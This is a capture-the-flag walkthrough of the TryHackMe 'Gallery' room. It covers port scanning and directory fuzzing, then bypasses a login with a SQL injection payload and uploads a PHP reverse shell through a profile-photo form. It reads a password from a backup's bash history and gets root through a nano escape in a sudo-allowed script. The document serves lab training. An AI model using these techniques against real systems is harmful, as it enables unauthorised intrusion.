December 21, 20224 minutes

https://tryhackme.com/room/gallery666

Attacker IP = 10.10.10.10

Target IP = 10.10.250.47

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.250.47
PING 10.10.250.47 (10.10.250.47) 56(84) bytes of data.
64 bytes from 10.10.250.47: icmp_seq=1 ttl=63 time=52.3 ms

--- 10.10.250.47 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 52.300/52.300/52.300/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

❯ sudo nmap -p- --open -sS --min-rate 5000 -Pn -vvv -n 10.10.110.190 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.110.190
   5   │     [*] Open ports: 80,8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p80,8080 -sC -sV 10.10.110.190 -oN target

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Simple Image Gallery System
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION

Web#

With whatweb we can get more information about the website

❯ whatweb 10.10.110.190
http://10.10.110.190 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.110.190], Title[Apache2 Ubuntu Default Page: It works]

Looking for subdirectories#

With wfuzz we’ll fuzz using the wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt to find subdirectories

wfuzz -c -t 200 --hc=404 --hh=42126 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.151.26/FUZZ

It reports the /gallery directory

/gallery#

Opening it takes us to /gallery/login.php, where we see a login panel. First we check whether admin:admin works, but it doesn’t. We can try the username ' or 1 = 1-- - with any password, and we get in

Admin#

Now we are inside the administrator account and can see the albums. Opening one of them, we see it lets us upload new photos.

It doesn’t accept a .php file; with Burp Suite I tried a wordlist of extensions, and it only accepts image extensions

In the admin’s profile settings there is a section to change the photo. The message says select a file. We can try sending it a .php file to get a reverse shell

Foothold#

We’ll try to upload the pentestmonkey PHP file for the reverse shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.

It’s important to change the ip and port lines, setting our machine’s IP and the port we’ll be listening on with netcat (443)

Now we can upload the file, and when we click update, we get the reverse shell

Privilege escalation#

TTY upgrade#

First, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

Mike#

If we go to /home/mike, we can see a file called user.txt that should contain the user flag, but we don’t have permission to read it or to enter the Documents and Images folders.

After looking around for a while, I found that /var/backups has a folder called mike_home_backup containing mike’s files, and we have permission to read them.

Inside Documents there is a file with 3 passwords for other websites with the user mike; I checked whether any of them worked on this machine, but they didn’t.

In Images there are 3 photos, which I checked for hidden files, but there weren’t any

With ls -a we can see there is a .bash_history file, and with cat we can see its contents. Inside there is a command that seems to include a password: sudo -lb3stpassw0rdbr0xx. With su mike and the password b3stpassw0rdbr0xx, we are mike

Now we can read the flag

Root#

With sudo -l we can see that mike can run the following as root without a password: /bin/bash /opt/rootkit.sh

When we run sudo /bin/bash /opt/rootkit.sh and choose read, it opens a file with a very long text. Since we are running nano as root, we can try ctrl + r, ctrl + x and type reset; sh 1>&0 2>&0, and we are root